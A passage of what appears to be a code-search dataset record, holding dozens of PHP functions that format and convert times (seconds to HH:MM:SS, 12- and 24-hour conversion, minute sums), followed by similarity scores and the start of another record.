$minutes='0'.$minutes;\n }\n \n $seconds -= $minutes * 60; \n if($seconds<10){\n $seconds='0'.$seconds;\n } \n \n $waktu2=\"{$hours}:{$minutes}:{$seconds}\";\n return $waktu2;\n \n}", "function times2str_ampm ($t) {\n\tif ($t == '00:00:00' OR $t == '') {\n\t\treturn $t;\n\t}\n\tlist($h,$m,$s) = explode(\":\",$t);\n\t$ampm = ($h >= 12) ? \"PM\" : \"AM\";\n\t$h = ($h > 12) ? $h - 12 : $h;\n\treturn \"{$h}:{$m}:{$s} {$ampm}\";\n}", "public static function min2str($min)\n {\n if ($min === null)\n return null;\n $m = $min % 60;\n $h = ($min - $m) / 60;\n return substr(100 + $h, 1) . ':' . substr(100 + $m, 1);\n }", "public function format(): string\n {\n foreach ($this->times as $unit => $value) {\n if ($this->time >= $value) {\n $time = floor($this->time / $value * 100) / 100;\n return \"{$time} {$unit}\";\n }\n }\n\n return round($this->time * 1000) . \" ms\";\n }", "function seconds_to_time( $seconds, $format = 'H:m:s' ) {\n\t// extract hours\n\t$hours = floor($seconds / (60 * 60));\n\t\n\t// extract minutes\n\t$divisor_for_minutes = $seconds % ( 60 * 60 );\n\t$minutes = floor( $divisor_for_minutes / 60 );\n\t\n\t// extract the remaining seconds\n\t$divisor_for_seconds = $divisor_for_minutes % 60;\n\t$seconds = ceil( $divisor_for_seconds );\n\t\n\t$format = str_replace( 'H', str_pad( $hours, 2, \"0\", STR_PAD_LEFT ), $format );\n\t$format = str_replace( 'm', str_pad( $minutes, 2, \"0\", STR_PAD_LEFT ), $format );\n\t$format = str_replace( 's', str_pad( $seconds, 2, \"0\", STR_PAD_LEFT ), $format );\n\t\n\treturn $format;\n\t\n}", "function segundos_hhmm($seg) {\n $horas = floor($seg / 3600);\n $minutos = floor($seg / 60 % 60);\n $segundos = floor($seg % 60);\n\n return sprintf('%02d:%02d:%02d', $horas, $minutos, $segundos);\n }", "public static function formatTime($seconds){\n $time = \"\";\n // avoid dummi values\n if($seconds != \"n/a\"){\n $hours = floor($seconds / 3600);\n $mins = floor(($seconds - ($hours*3600)) / 60);\n $secs = floor(($seconds - ($hours*3600)) % 60);\n\n if($hours < 10)\n $hours = \"0\".$hours;\n if($mins < 10)\n $mins = \"0\".$mins;\n if($secs < 10)\n $secs = \"0\".$secs;\n\n $time = $hours.\":\".$mins.\":\".$secs;\n }\n else\n $time = \"n/a\";\n\n return $time; \n }", "function value_time($value){\r\n\t$separator = \":\";\r\n\tif(strlen($value) == 12){\r\n\t\t$value = substr($value, 0, 8);\r\n\t}\r\n\tif((strlen($value) == 8) && (substr($value, 2, 1) == $separator) && (substr($value, 5, 1) == $separator)){\r\n\t\t$hou = (int) substr($value, 0, 2);\r\n\t\t$min = (int) substr($value, 3, 2);\r\n\t\t$sec = (int) substr($value, 6, 2);\r\n\t}elseif((strlen($value) == 5) && (substr($value, 2, 1) == $separator)){\r\n\t\t$hou = (int) substr($value, 0, 2);\r\n\t\t$min = (int) substr($value, 3, 2);\r\n\t\t$sec = 0;\r\n\t}else{\r\n\t\treturn NULL;\r\n\t}\r\n\tif(($hou < 0 || $hou > 23) || ($min < 0 || $min > 59) || ($sec < 0 || $sec > 59)){\r\n\t\treturn NULL;\r\n\t}else{\r\n\t\treturn str_pad($hou, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($min, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($sec, 2, \"0\", STR_PAD_LEFT);\r\n\t}\r\n}", "function timeConversion($s) {\n /*\n * Write your code here.\n */\n $tim = \"\";\n $arr = preg_split(\"/[:]/\",$s);\n\n if( preg_match( '/AM$/', $arr[2]) ) {\n $replace = str_replace('AM', '', $arr[2]);\n if($arr[0] === \"12\"){\n $arr[0] = \"00\";\n }\n }else{ // PM\n $replace = str_replace('PM', '', $arr[2]);\n\n if($arr[0] !== \"12\"){\n $arr[0] = strval(intval($arr[0]) + 12);\n }\n }\n $arr[2] = $replace;\n return $arr[0] .\":\". $arr[1] .\":\". $arr[2];\n}", "function toM($s) { \n $t = explode(\":\", $s); \n $h = settype($t[0], integer);\n $m = settype($t[1], integer);\n $mm = ($h * 60) + $m;\n return $mm;\n\t\t}", "public static function secondsToHms(int $seconds): string\n\t{\n\t\t$hours = floor($seconds / 3600);\n\t\t$minutes = floor(($seconds / 60) % 60);\n\t\t$seconds = $seconds % 60;\n\n\t\t$return_hours = $hours > 0 ? $hours.\"h\" : \"\";\n\t\t$return_minutes = $minutes > 0 ? $minutes.\"min\" : \"\";\n\t\t$return_seconds = $seconds > 0 ? $seconds.\"s\" : \"\";\n\n\t\treturn $return_hours.$return_minutes.$return_seconds;\n\t}", "function Hora_prog($valor){\t\n\n return date(\"H:i\", strtotime($valor));\n\n}", "protected function processTime($time)\n {\n return \\PHPExcel_Style_NumberFormat::toFormattedString($time,'hh:mm:ss');\n }", "public function getTimeInMinutes();", "public static function toMs ($time)\n\t\t{\n\t\t\t// 06:23:16.213\n\t\t\tpreg_match('/(\\d{2}):(\\d{2}):(\\d{2})[\\.:](\\d{3})/', $time, $match);\n\t\t\tif (count($match) == 5)\n\t\t\t\treturn (int) ( $match[ 3 ] + $match[ 2 ] * 60 + $match[ 1 ] * 3600 ) * 1000 + $match[ 4 ];\n\n\t\t\t// 06:23:16.21\n\t\t\tpreg_match('/(\\d{2}):(\\d{2}):(\\d{2})[\\.:](\\d{2})/', $time, $match);\n\t\t\tif (count($match) == 5)\n\t\t\t\treturn ( $match[ 3 ] + $match[ 2 ] * 60 + $match[ 1 ] * 3600 ) * 1000 + $match[ 4 ] * 1000 / self::$fps;\n\n\t\t\t// 06:23:16\n\t\t\tpreg_match('/(\\d{2}):(\\d{2}):(\\d{2})/', $time, $match);\n\t\t\tif (count($match) == 4)\n\t\t\t\treturn ( $match[ 3 ] + $match[ 2 ] * 60 + $match[ 1 ] * 3600 ) * 1000;\n\n\t\t\treturn null;\n\t\t}", "function acrescenta_min($horario, $minutos){\n $time = new DateTime($horario);\n $time->add(new DateInterval('PT' . $minutos . 'M'));\n return $stamp = $time->format('Y-m-d H:i:s');\n}", "function counttime()\n{\n global $time;\n\n $arrHour = explode(\":\", $time);\n $arrTime2 = array(8, 10, 12, 14, 16, 18, 20, 22, 24);\n foreach ($arrTime2 as $intTime)\n {\n if ($arrHour[0] < $intTime)\n {\n $intWait = (($intTime - $arrHour[0]) * 60) - $arrHour[1];\n $intHours = floor($intWait / 60);\n $intMinutes = $intWait % 60;\n break;\n }\n }\n $arrTime = array('', '');\n if ($intHours < 1)\n {\n $arrTime[0] = '';\n }\n if ($intHours == 1)\n {\n $arrTime[0] = $intHours.T_HOUR;\n }\n if ($intHours > 1 && $intHours < 5)\n {\n $arrTime[0] = $intHours.T_HOURS2;\n }\n if ($intHours > 4)\n {\n $arrTime[0] = $intHours.T_HOURS;\n }\n if ($intMinutes < 1)\n {\n $arrTime[1] = '';\n }\n if ($intMinutes == 1)\n {\n $arrTime[1] = $intMinutes.T_MINUTE;\n }\n if (($intMinutes > 1 && $intMinutes < 5) || @ereg(\"^[2-5][2-4]*$\", $intMinutes))\n {\n $arrTime[1] = $intMinutes.T_MINUTES2;\n }\n if (($intMinutes > 4 && $intMinutes < 20) || @ereg(\"^[2-5][5-9]*$\", $intMinutes) || @ereg(\"^[2-5][0-1]*$\", $intMinutes))\n {\n $arrTime[1] = $intMinutes.T_MINUTES;\n }\n\n return $arrTime;\n}", "function hms($duree = 0) \n\t{\n\t\t$heures = round($duree / 3600);\n\t\t$minutes = round(($duree - $heures * 3600) / 60);\n\t\t$secondes = round(($duree - $heures * 3600 - $minutes * 60) / 60);\n\n\t\treturn str_pad($heures, 2, \"0\", STR_PAD_LEFT).':'.str_pad($minutes, 2, \"0\", STR_PAD_LEFT).':'.str_pad($secondes, 2, \"0\", STR_PAD_LEFT);\n\t}", "function countTime($connection, $sql_tiempo){\n $sql = mysqli_query($connection, $sql_tiempo);\n $horas = 0;\n $minutos = 0;\n while($row = mysqli_fetch_row($sql)){\n \n $timeTo = explode(':', $row[0]);\n \n $horas += intval($timeTo[0]);\n $minutos += intval($timeTo[1]);\n \n }\n $final_time = intval((($horas*60) + $minutos)/60).\":\".(($horas*60) + $minutos)%60;\n return $final_time;\n}", "static function time($value){\n\t\t$separator = \":\";\n\t\t$value = substr($value, 0, 8);\n\t\tif((strlen($value) == 8) && (substr($value, 2, 1) == $separator) && (substr($value, 5, 1) == $separator)){\n\t\t\t$hou = (int) substr($value, 0, 2);\n\t\t\t$min = (int) substr($value, 3, 2);\n\t\t\t$sec = (int) substr($value, 6, 2);\n\t\t}elseif((strlen($value) == 5) && (substr($value, 2, 1) == $separator)){\n\t\t\t$hou = (int) substr($value, 0, 2);\n\t\t\t$min = (int) substr($value, 3, 2);\n\t\t\t$sec = 0;\n\t\t}else{\n\t\t\treturn null;\n\t\t}\n\t\tif(($hou < 0 || $hou > 23) || ($min < 0 || $min > 59) || ($sec < 0 || $sec > 59)){\n\t\t\treturn null;\n\t\t}else{\n\t\t\treturn str_pad($hou, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($min, 2, \"0\", STR_PAD_LEFT).$separator.str_pad($sec, 2, \"0\", STR_PAD_LEFT);\n\t\t}\n\t}", "public static function asTimeLimit($value)\r\n {\r\n if (is_int($value) && $value > 0) {\r\n $value = yii::$app->formatter->format($value*60, 'duration');\r\n } else {\r\n $value = \"No Time Limit\";\r\n }\r\n return $value;\r\n }", "function displayDuration($iDurationInMinutes)\n{\n $iHour = intval($iDurationInMinutes / 60);\n // two ways : with %, or without\n // $iMinutes = intval($iDurationInMinutes % 60);\n $iMinutes = $iDurationInMinutes - ($iHour * 60);\n // adds zero when minutes less than ten\n if ($iMinutes < 10) {\n $iMinutes = '0' . $iMinutes;\n }\n $sDuration = $iHour . 'h' . $iMinutes . 'min';\n\n return $sDuration;\n}", "function time2str ($t) {\n\tif ($t == '00:00:00' OR $t == '') {\n\t\treturn '';\n\t}\n\tlist($h,$m,$s) = explode(\":\",$t);\n\t$ampm = ($h >= 12) ? \"p.m.\" : \"a.m.\";\n\t// if between 12 - 1 p.m.\n if ($h % 12 == 0) {\n return ($m > 0) ? \"12:\" . $m . \" \" . $ampm : \"Noon\";\n\t } else {\n\t\t\treturn ($m > 0) ? $h % 12 . \":\" . $m . \" \" . $ampm : $h % 12 . \" \" . $ampm;\n\t }\n}", "public function toTimeString()\n {\n return $this->toLocalizedString('HH:mm:ss');\n }", "function times2str ($t1,$t2) {\n\tif ($t1 == '00:00:00' OR $t1 == '')\n\t\treturn '';\n\t// no end time\n\tif ($t2 == '00:00:00' OR $t2 == '')\n\t\treturn time2str($t1);\n\tlist($h1,$m1,$s1) = explode(\":\",$t1);\n\tlist($h2,$m2,$s2) = explode(\":\",$t2);\n\t$ampm1 = ($h1 >= 12) ? \" p.m.\" : \" a.m.\";\n\t$ampm2 = ($h2 >= 12) ? \" p.m.\" : \" a.m.\";\n\t$ampm1 = ($ampm1 != $ampm2) ? $ampm1 : \"\";\n\t// if time1 is 12:xx p.m.\n\tif ($h1 == \"12\") {\n\t\t$time_str = ($m1 > 0) ? \"12:\" . $m1 . $ampm1 : \"Noon\";\n\t} else {\n\t\t$time_str = ($m1 > 0) ? $h1 % 12 . \":\" . $m1 . $ampm1 : $h1 % 12 . $ampm1;\n\t}\n\t$time_str .= \"-\";\n\tif ($h2 == \"12\") {\n\t\t$time_str .= ($m2 > 0) ? \"12:\" . $m2 . $ampm2 : \"Noon\";\n\t} else {\n\t\t$time_str .= ($m2 > 0) ? $h2 % 12 . \":\" . $m2 . $ampm2 : $h2 % 12 . $ampm2;\n\t}\n\treturn ($time_str);\n}", "public function aMinutos($horario){\n $horas = (int)substr($horario,0,2);\n $mins = (int)substr($horario,3,2);\n $enMinutos = $horas*60+$mins;\n\n return $enMinutos;\n }", "function calc_chegada($partida,$tempo){\n \n \n $aux=split(\":\",$partida);\n\t\t$p=mktime($aux[0],$aux[1],$aux[2]);\n\n\t\t$aux=split(\":\",$tempo);\n\t\t$t=$aux[0]*3600+$aux[1]*60+$aux[2];\n\t\t\n\t\t$c=strftime(\"%H:%M:%S\",$p+$t);\n\t\t//echo \"$p<br>\";\n\t\t//echo \"$t<br>\";\n // echo $t+$p . \"<br>\";\n //echo \"$c<br>\";\n\t\t\n\t\treturn $c;\n }", "function convertTime($number)\n{\n $str_arr = explode('.', $number);\n\n $num = ($str_arr[0]);\n //floatval\n $point = ($str_arr[1]);\n $count = strlen($str_arr[1]);\n\n if ($count == 1 && $point < 10) {\n $point = $point * 10;\n }\n\n while ($point >= 60) {\n $num = $num + 1;\n $point = $point - 60;\n }\n $t = floatval($num . \".\" . $point);\n\n return $t;\n}", "function SecondsToTimeNEW($inputTime) \n{\t\n\t//echo nl2br(\"Seconds are now: $Seconds \\n\");\n\t//HOUR\n\tif($inputTime>=(60*60))\n\t{\n\t\t$CaryOver=$inputTime%(60*60);\n\t\t$Hours=floor($inputTime/(60*60));\n\t\t$inputTime=$CaryOver;\n\t\t\n\t}\n //MIN\n\tif($inputTime>=60)\n\t{\n\t\t$CaryOver=$inputTime%60; //Remainder\n\t\t$Minutes=floor($inputTime/60);\n\t\t$inputTime=$CaryOver;\n\t\t//echo nl2br(\"Minutes are now: $CarryOver \\n\");\n\t\t\n\t}\n\t//SEC\n\t$Seconds=$inputTime;\n\t\t\n\t//NOW Correct the FORMAT\n\tif($Hours<10)\n\t{$Hours=\"0\".$Hours;}\t\n\tif($Minutes<10)\n\t{$Minutes=\"0\".$Minutes;}\n\tif($Seconds<10)\n\t{$Seconds=\"0\".$Seconds;}\n\t\n\t\n\treturn (\"$Hours:$Minutes:$Seconds\");\n}", "public function timeFormat();", "function convertTime($time){\n return date(\"H:i\", strtotime($time));\n}", "function humanReadableTime($seconds) {\n\n\t$hours = '00';\n\t$mins = '00';\n\n\tif ($seconds > 0) {\n\t\t$hours = str_pad(floor($seconds / 3600), 2, '0', STR_PAD_LEFT);\n\t\t$seconds %= 3600;\n\t}\n\n\tif ($seconds > 0) {\n\t\t$mins = str_pad(floor($seconds / 60), 2, '0', STR_PAD_LEFT);\n\t\t$seconds %= 60;\n\t}\n\n\t$seconds = str_pad($seconds, 2, '0', STR_PAD_LEFT);\n\n\n\treturn \"$hours:$mins:$seconds\";\n\n}", "function dec_minutes($mins) {\r\n\t$dec_mins = $mins/60;\r\n\treturn $dec_mins;\r\n\t}", "function timeConversion($s) {\n return DATE(\"H:i:s\", STRTOTIME($s));\n\n}", "function time_compact_ap_format($hours,$minutes,$meridien){\r\n\t$patterns = array(\"am\",\"pm\",\"AM\",\"PM\");\r\n\t$replacements = array(\"a.m.\",\"p.m.\",\"A.M.\",\"P.M.\");\r\n\t\r\n\t$meridien = str_replace($patterns,$replacements,$meridien);\r\n\t\r\n\tif($minutes == \"00\") return sprintf(\"%s %s\",$hours,$meridien);\r\n\telse return sprintf(\"%s:%s %s\",$hours,$minutes,$meridien);\r\n}", "public function get_time_hour() {\n return sprintf( '%02d', (int) edd_get_option( 'edd_commissions_payout_schedule_time_hr', '' ) );\n }", "function get_hh_ss($seconds) {\n $hours = floor($seconds / 60 / 60);\n $minutes = floor(($seconds - ($hours * 60 * 60)) / 60);\n $d_seconds = $seconds - (($hours * 60 * 60) + ($minutes * 60));\n $f_hours = strlen($hours) == 1 ? \"0$hours\" : $hours;\n $f_minutes = strlen($minutes) == 1 ? \"0$minutes\" : $minutes;\n $f_seconds = strlen($d_seconds) == 1 ? \"0$d_seconds\" : $d_seconds;\n return \"$f_hours:$f_minutes:$f_seconds\";\n}", "function seconds_to_string($sec)\n {\n $hms = \"\";\n\t\t\n\t\t// for days\n\t\t$days = intval(intval($sec) / 86400);\n\t\t\n\t\t$hms .= ($days > 0) ? $days. \"d - \" : \"\";\n \n // do the hours first: there are 3600 seconds in an hour, so if we divide\n // the total number of seconds by 3600 and throw away the remainder, we're\n // left with the number of hours in those seconds\n $hours = intval(intval($sec / 3600) % 24);\n \n // add hours to $hms (with a leading 0 if asked for)\n $hms .= ($days == 0 && $hours == 0) ? \"\" : $hours. \"h - \";\n \n // dividing the total seconds by 60 will give us the number of minutes\n // in total, but we're interested in *minutes past the hour* and to get\n // this, we have to divide by 60 again and then use the remainder\n $minutes = intval(($sec / 60) % 60); \n \n // add minutes to $hms (with a leading 0 if needed) but only if minutes are not 0\n $hms .= ($days == 0 && $hours == 0 && $minutes == 0) ? \"\" : $minutes.\"m\";\n \n // seconds past the minute are found by dividing the total number of seconds\n // by 60 and using the remainder\n //$seconds = intval($sec % 60); \n \n // add seconds to $hms (with a leading 0 if needed)\n //$hms .= $seconds.\"s\";\n \n // if the total time is 0, show so\n\t\t$hms = empty($hms) ? 0 : $hms;\n\t\t\n\t\t// done!\n return $hms;\n }", "function CommonTimeToMilitaryTime($time)\n {\n if ($time == \"\")\n return \"\";\n\n return date(\"H:i\", strtotime($time));\n }", "public static function formatToMinutes($seconds)\n {\n $pattern = '%02.2d:%02.2d';\n return sprintf($pattern, floor($seconds / 60), $seconds % 60);\n }", "function formatDiffTime($t) {\n\n\t\t/*\n\t\tif ($t) {\n\t\t\t$t = $t/10; // convert from 10ths of seconds into seconds\n\t\t\tif ($t > 3600) \t\t\n\t\t\t\treturn sprintf(\"+%d:%02d:%02d\", $t/3600, ($t/60)%60, $t%60);\n\t\t\telse\n\t\t\t\treturn sprintf(\"+%d:%02d\", ($t/60)%60, $t%60);\n\t\t}\n\t\t*/\n\n\t\t// This code does mmm:ss for everyone\n\t\tif ($t) {\n\t\t\t$t = $t/10; // convert from 10ths of seconds into seconds\n\t\t\treturn sprintf(\"+%d:%02d\", ($t/60), $t%60);\n\t\t}\n\n\t\treturn null;\n\t}", "public static function pasarHorasaMinutos( $time)\n {\n // var minutos = d.getHours() * 60 + d.getMinutes();\n\n if($time instanceof DateInterval){\n\n $horas = (int)$time->format('%H');\n $minutos = (int)$time->format('%i');\n }else{\n\n $horas = (int)$time->format('H');\n $minutos = (int)$time->format('i');\n }\n\n\n\n $minutos_res = $horas*60 + $minutos;\n\n return $minutos_res;\n\n }", "public static function sec2hms ($sec, $padHours = false) {\n $hms = \"\";\n $hours = intval(intval($sec) / 3600);\n $hms .= ($padHours)\n ? str_pad($hours, 2, \"0\", STR_PAD_LEFT). ':'\n : $hours. ':';\n $minutes = intval(($sec / 60) % 60);\n $hms .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT). ':';\n $seconds = intval($sec % 60);\n $hms .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT);\n return $hms;\n }", "function seconds_to_time_format($seconds = 0, $include_seconds = false) {\r\n $hours = floor($seconds / 3600);\r\n $mins = floor(($seconds - ($hours * 3600)) / 60);\r\n $secs = floor($seconds % 60);\r\n\r\n $hours = ($hours < 10) ? \"0\" . $hours : $hours;\r\n $mins = ($mins < 10) ? \"0\" . $mins : $mins;\r\n $secs = ($secs < 10) ? \"0\" . $secs : $secs;\r\n $sprintF = $include_seconds == true ? '%02d:%02d:%02d' : '%02d:%02d';\r\n return sprintf($sprintF, $hours, $mins, $secs);\r\n}", "function formatHoursMinutes($float){\n\t\t$hours = floor($float);\n\t\t$minutes = ($float - $hours) * 60; //to get the number of minutes\n\t\treturn sprintf(\"%+02d:%02d\", $hours, $minutes); //sprintf - gives the ability to control the formatting through a series of codes - writes a formatted string to a variable\n\t\t//$hours goes into %+02d (1st argument) - makes sure it has 2 digits. It is going to put a - or a + in front of the $hours value \n\t\t//$minutes goes into %02d (2nd argument) - makes sure it has 2 digits. \n\t}", "public function getMinute(): string\n {\n return $this->toLocalizedString('m');\n }", "function humanTiming ($time)\n {\n\n $time = time() - $time; // to get the time since that moment\n $time = ($time<1)? 1 : $time;\n $tokens = array (\n 31536000 => 'tahun',\n 2592000 => 'bulan',\n 604800 => 'minggu',\n 86400 => 'hari',\n 3600 => 'jam',\n 60 => 'menit',\n 1 => 'detik'\n );\n\n foreach ($tokens as $unit => $text) {\n if ($time < $unit) continue;\n $numberOfUnits = floor($time / $unit);\n return $numberOfUnits.' '.$text.(($numberOfUnits>1)?'s':'');\n }\n\n }", "function getFormattedTime($seconds) {\r\n\t\t\t\t$formatted = \"\";\r\n\t\t\t\t\r\n\t\t\t\t// Calculate the amount of hours, minutes, and seconds.\r\n\t\t\t\t$hours = floor($seconds / 3600);\r\n\t\t\t\t$formatted .= str_pad($hours, 2, \"0\", STR_PAD_LEFT) . 'h ';\r\n\t\t\t\t$minutes = floor(($seconds / 60) - ($hours * 60)); \r\n\t\t\t\t$formatted .= str_pad($minutes, 2, \"0\", STR_PAD_LEFT) . 'm ';\r\n\t\t\t\t$seconds = floor($seconds - $hours * 3600 - $minutes * 60); \r\n\t\t\t\t$formatted .= str_pad($seconds, 2, \"0\", STR_PAD_LEFT) . 's ';\r\n\t\t\t\t\r\n\t\t\t\t// Return the new formatted string.\r\n\t\t\t\treturn $formatted;\r\n\t\t\t}", "function getTimeS($timestamp){\n\t\tif ($timestamp > 60*60*24){\n\t\t\t$timestamp = $timestamp % (60*60*24) + 2*(60*60);\n\t\t}\n\t\t$hours = intval($timestamp / (60*60));\n\t\t$minutes = intval(($timestamp % (60*60)) / 60);\n\t\treturn sprintf('%02d', $hours).\":\".sprintf('%02d', $minutes); \n\t}", "public static function misc_duration_minutes( $val, Rich_Snippet $rich_snippet, array $meta_info ): string {\n\n\t\treturn sprintf( 'PT%sM', (string) $val );\n\t}", "function convertTime($dec)\n {\n $seconds = ($dec * 3600);\n // we're given hours, so let's get those the easy way\n $hours = floor($dec);\n // since we've \"calculated\" hours, let's remove them from the seconds variable\n $seconds -= $hours * 3600;\n // calculate minutes left\n $minutes = floor($seconds / 60);\n // remove those from seconds as well\n $seconds -= $minutes * 60;\n // return the time formatted HH:MM:SS\n return $hours.\":\".$minutes.\":\".$seconds;\n }", "public static function formatTime($seconds)\n {\n return gmdate(\"H:i:s\", $seconds);\n }", "function timeConversion($s) {\n /*\n * Write your code here.\n */\n $timeArray = explode(':', $s);\n $hour = $timeArray[0];\n $minute = $timeArray[1];\n $sec = $timeArray[2];\n $period = substr($sec, 2);\n $originalSec = rtrim($sec, $period);\n $newTime;\n if((0 <= $hour && $hour < 12) && ($period == 'AM')) {\n $newTime = $hour.\":\".$minute.\":\".$originalSec;\n }elseif ((0 <= $hour && $hour < 12) && ($period == 'PM')) {\n $newTime = 12+$hour.\":\".$minute.\":\".$originalSec;\n }elseif (($hour == 12) && ($period == 'AM')) {\n $newTime = \"00\".\":\".$minute.\":\".$originalSec;\n }elseif (($hour == 12) && ($period == 'PM')) {\n $newTime = $hour.\":\".$minute.\":\".$originalSec;\n }\n\n return $newTime; \n\n\n\n}", "static function formatTime($time){\n return date('j.n.Y G:i:s', $time);\n\n }", "public function formatTime($time = null);", "function dec_time()\n{\n $ds = 86400; // total seconds in day\n $dt = microtime(true) - mktime(0,0,0);\n\n $hs = $ds / pow(10,1);\n $ms = $ds / pow(10,3);\n $ss = $ds / pow(10,5);\n\n $hour = floor($dt/$hs);\n $min = floor($dt/$ms) - ($hour * 100);\n $sec = floor($dt/$ss) - ($hour * 10000) - ($min * 100);\n //$usec = floor($dt/$us) - ($hour * 10000) - ($min * 100);\n\n return sprintf('%01d',$hour).'h '.sprintf('%02d',$min).'m '.sprintf('%02d',$sec).'s';\n}", "function timeConversion($originalTime) {\n\t$newTime;\n\n $hours = substr($originalTime, 0, 2);\n $minutes = substr($originalTime, 3, 2);\n\n if ($hours > 12) $newTime = ($hours - 12) . \":\" . $minutes . \" PM\";\n else if ($hours == 12) $newTime = $hours . \":\" . $minutes . \" PM\";\n else if ($hours == 0) $newTime = 12 . \":\" . $minutes . \" AM\";\n else $newTime = substr($hours, 1) . \":\" . $minutes . \" AM\";\n\n \treturn $newTime;\n}", "function formatSeconds( $seconds ) {\n $hours = 0;\n $milliseconds = str_replace( \"0.\", '', $seconds - floor( $seconds ) );\n\n if ( $seconds > 3600 ) {\n $hours = floor( $seconds / 3600 );\n }\n $seconds = $seconds % 3600;\n\n return str_pad( $hours, 2, '0', STR_PAD_LEFT ) . gmdate( ':i:s', $seconds ) . ($milliseconds ? \".$milliseconds\" : '') ;\n}" ]
[ "0.7533644", "0.7511765", "0.7358848", "0.7315364", "0.73124045", "0.7184047", "0.7115361", "0.7111581", "0.7033525", "0.6965206", "0.6938967", "0.69227237", "0.6898908", "0.68676186", "0.6863812", "0.681369", "0.6808263", "0.67879", "0.67259127", "0.67166847", "0.67163634", "0.6714815", "0.66844016", "0.66779137", "0.66697603", "0.66640043", "0.66505337", "0.66386443", "0.6636995", "0.66205794", "0.6598288", "0.6582941", "0.6567132", "0.65556574", "0.6540481", "0.6528789", "0.652525", "0.64801234", "0.64728683", "0.6470987", "0.6445367", "0.6441858", "0.64120245", "0.63669634", "0.6347326", "0.63405997", "0.6306254", "0.6265103", "0.6227645", "0.6226865", "0.62202007", "0.6209216", "0.62053317", "0.6194779", "0.61944026", "0.6185939", "0.6182349", "0.6179265", "0.6174989", "0.61704504", "0.61568177", "0.61497533", "0.6134589", "0.6126955", "0.6118302", "0.61114633", "0.61060613", "0.6100319", "0.6094028", "0.608949", "0.60811776", "0.6076009", "0.6062603", "0.60616", "0.6060769", "0.6059556", "0.6052548", "0.60515034", "0.6046376", "0.60384494", "0.60346377", "0.60341334", "0.60289055", "0.60225576", "0.60181814", "0.6013361", "0.6009762", "0.59659183", "0.596471", "0.59570605", "0.5947779", "0.59470576", "0.5939045", "0.5936707", "0.5933493", "0.59141725", "0.5904105", "0.5902317", "0.5899094", "0.5891399" ]
0.64006656
43
/ Original de: Resta tiempo en formato HH:MM:SS
public static function restaTiempo($hora1,$hora2){ $temp1 = explode(":",$hora1); $temp_h1 = (int)$temp1[0]; $temp_m1 = (int)$temp1[1]; $temp_s1 = (int)$temp1[2]; $temp2 = explode(":",$hora2); $temp_h2 = (int)$temp2[0]; $temp_m2 = (int)$temp2[1]; $temp_s2 = (int)$temp2[2]; // si $hora2 es mayor que la $hora1, invierto if( $temp_h1 < $temp_h2 ){ $temp = $hora1; $hora1 = $hora2; $hora2 = $temp; } /* si $hora2 es igual $hora1 y los minutos de $hora2 son mayor que los de $hora1, invierto*/ elseif( $temp_h1 == $temp_h2 && $temp_m1 < $temp_m2){ $temp = $hora1; $hora1 = $hora2; $hora2 = $temp; } /* horas y minutos iguales, si los segundos de $hora2 son mayores que los de $hora1,invierto*/ elseif( $temp_h1 == $temp_h2 && $temp_m1 == $temp_m2 && $temp_s1 < $temp_s2){ $temp = $hora1; $hora1 = $hora2; $hora2 = $temp; } $hora1=explode(":",$hora1); $hora2=explode(":",$hora2); $temp_horas = 0; $temp_minutos = 0; //resto segundos $segundos; if( (int)$hora1[2] < (int)$hora2[2] ){ $temp_minutos = -1; $segundos = ( (int)$hora1[2] + 60 ) - (int)$hora2[2]; } else $segundos = (int)$hora1[2] - (int)$hora2[2]; //resto minutos $minutos; if( (int)$hora1[1] < (int)$hora2[1] ){ $temp_horas = -1; $minutos = ( (int)$hora1[1] + 60 ) - (int)$hora2[1] + $temp_minutos; } else $minutos = (int)$hora1[1] - (int)$hora2[1] + $temp_minutos; //resto horas $horas = (int)$hora1[0] - (int)$hora2[0] + $temp_horas; if($horas<10) $horas= '0'.$horas; if($minutos<10) $minutos= '0'.$minutos; if($segundos<10) $segundos= '0'.$segundos; $rst_hrs = $horas.':'.$minutos.':'.$segundos; return ($rst_hrs); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function pasarATiempoFormato($tiempo) {\n $minutos = (int) ($tiempo / 3600);\n $milisegundos = (int) ($tiempo % 3600);\n\n $segundos = (int) ($milisegundos / 60);\n $milisegundos = (int) ($milisegundos % 60);\n\n return \"$minutos:$segundos:$milisegundos\";\n }", "public function formatTime()\n { \n return sprintf('%02d:%02d:%02d', ($this->totaltime / 3600), \n ($this->totaltime / 60 % 60), $this->totaltime % 60); \n }", "function tambahWaktu2($jam_mulai,$jam_selesai){\n//echo \"<br>\";\n//echo \"Jam Selesai : \".$jam_selesai='09:45:01';\n//echo \"<br>\";\n $times = array($jam_mulai,$jam_selesai);\n//$times = array('08:30:22','09:45:53');\n $seconds = 0;\n foreach ( $times as $time )\n {\n \tlist( $g, $i, $s ) = explode( ':', $time );\n \t$seconds += $g * 3600;\n \t$seconds += $i * 60;\n \t$seconds += $s;\n \n \n }\n $hours = floor( $seconds / 3600);\n if($hours<10){\n $hours='0'.$hours;\n }\n \n $seconds -= $hours * 3600;\n $minutes = floor( $seconds / 60);\n if($minutes<10){\n $minutes='0'.$minutes;\n }\n \n $seconds -= $minutes * 60; \n if($seconds<10){\n $seconds='0'.$seconds;\n } \n \n $waktu2=\"{$hours}:{$minutes}:{$seconds}\";\n return $waktu2;\n \n}", "function convert_time($total)\n{\n return sprintf('%2d:%2d:%2d', intval($total/3600), intval($total/60) % 60, $total % 60);\n}", "function tiemposHMS($min){\n $min=(int)$min;\n $heure=(int)($min/60);\n $minute=(($min/60)-$heure)*60; \n return $heure .':' . $minute; \n \n \n \n }", "function calc_chegada($partida,$tempo){\n \n \n $aux=split(\":\",$partida);\n\t\t$p=mktime($aux[0],$aux[1],$aux[2]);\n\n\t\t$aux=split(\":\",$tempo);\n\t\t$t=$aux[0]*3600+$aux[1]*60+$aux[2];\n\t\t\n\t\t$c=strftime(\"%H:%M:%S\",$p+$t);\n\t\t//echo \"$p<br>\";\n\t\t//echo \"$t<br>\";\n // echo $t+$p . \"<br>\";\n //echo \"$c<br>\";\n\t\t\n\t\treturn $c;\n }", "function formatTime($time){\n if(!$time){\n return '-';\n }\n $seconds = ($time/1000);//\n $minutes =floor($seconds / 60);\n $seconds = ($seconds % 60);//\n $hours = floor($seconds / 